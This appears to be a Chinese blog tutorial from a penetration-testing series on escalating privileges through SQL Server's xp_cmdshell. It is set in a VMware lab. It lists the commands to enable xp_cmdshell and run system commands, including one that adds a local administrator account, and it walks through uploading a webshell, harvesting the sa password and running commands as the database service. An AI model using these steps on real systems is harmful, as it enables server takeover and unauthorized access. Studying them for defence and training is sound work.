• 110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]


    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

    一、Windows Sqlserver xp_cmdshell存储过程提权

    1、XP_CMDSHELL提权背景:

           如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,可以开启xp_cmdshell存储过程,以sqlserver的身份执行系统命令。但是不一定是系统权限,还要看管理员在一开始安装sqlserver的权限设置。

    2、XP_CMDSHELL相关概念:

    (1)xp_cmdshell存储过程【存储过程是:已预编译为一个可执行过程的一个或多个SQL语句的集合】,它是用来执行本机的cmd命令的,要求系统登陆有sa权限。默认情况下,sql server2005/2008在安装后,xp_cmdshell存储过程是禁用的,如果要使用它,可以按照以下语句开启:Exec sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE;`

    序号命令注释
    1Exec sp_configure ‘show advanced options’,1;#允许配置高级选项
    2RECONFIGURE;#重新配置
    3EXEC sp_configure ‘xp_cmdshell’,1;#启用xp_cmdshell存储过程
    4RECONFIGURE;#重新配置

    (2)执行系统命令格式:

    序号命令注释
    1Exec master.dbo.xp_cmdshell ‘whoami’#查看当前用户
    2Exec master.dbo.xp_cmdshell ‘net user’#查看所有用户
    3Exec master.dbo.xp_cmdshell ‘systeminfo’#查看OS信息
    4Exec master.dbo.xp_cmdshell ‘net user test 123 /add & net localgroup administrators test /add’#添加管理员组用户

    (3)使用完了要及时禁用:Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;

    序号命令注释
    1Exec sp_configure ‘show advanced options’,1;#允许配置高级选项
    2RECONFIGURE;#重新配置
    3EXEC sp_configure ‘xp_cmdshell’,0;#禁用xp_cmdshell存储过程
    4RECONFIGURE;#重新配置

    3、XP_CMDSHELL提权实战:

    (1)实验环境:

    1.靶机环境:
    (1)虚拟机Windows2008【target_sys.com】【192.168.97.131】
    (2)脚本语言环境:php/asp语言环境存在
    
    2.攻击机:
    (1)虚拟机Win7【192.168.97.130】
    (2)Firefox+Burpsuite+蚁剑+大马
    
    3.网络环境:
    (1)VMware搭建的NAT网络
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    (3)靶机链接:

    URL:http://target_sys.com/upload.php

    (3)实验过程:

    第一步:访问靶机链接,利用MIME突破白名单类型限制,上传up.aspx大马
    在这里插入图片描述
    【以上过程略】以下进行提权过程:

    第二步:连接up.aspx大马【密码为admin】,并且点击[File Manager]文件管理模块,进行查找sqlserver的帐号和密码

    连接大马:
    在这里插入图片描述

    sqlserver的连接数据一般的存储位置:web.config、config.asp、conn.aspx、database.aspx,不过该环境下的实在旁站(www.demo1.com)下的index.aspx内存储了as用户密码:123456
    在这里插入图片描述

    第三步: 点击[DataBase]数据库模块,使用刚刚得到的sa账号连接mssql,同时发现SQL SERVER版本为2008

    xp_cmdshell存储过程是用来执行本机的cmd命令的,要求系统登陆有sa权限
    在这里插入图片描述

    第四步:SQLExec下拉框中选择Add xp_cmdshell(SQL2005)这个选项,开启xp_cmdshell存储过程
    在这里插入图片描述
    在这里插入图片描述
    第五步:利用刚刚启用的xp_cmdshell存储过程,以sqlserver的身份去执行一些系统命令

    由于查看当前权限也是一个普通用户,所以只可以执行一些基础的命令,也可以上传溢出提权工具 再来提高当前用户的权限。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    【老生谈算法】基于Matlab的IIR数字低通滤波器的设计
    The Last Naruto,兼容IE11的vue脚手架
    20【JDBC的事务处理】
    实现excel导出最简单方式
    信息系统项目管理师必背核心考点(七十四)软件生存周期模型
    华为HCIA第二章-华为VRP系统平台
    华为机试真题 C++ 实现【单词接龙】
    车联网安全入门之仿真一辆车的通信网络
    R语言和office(Word,excel,PPT)交互
    sql server 设置字段自增
  • 原文地址:https://blog.csdn.net/qq_45555226/article/details/125627782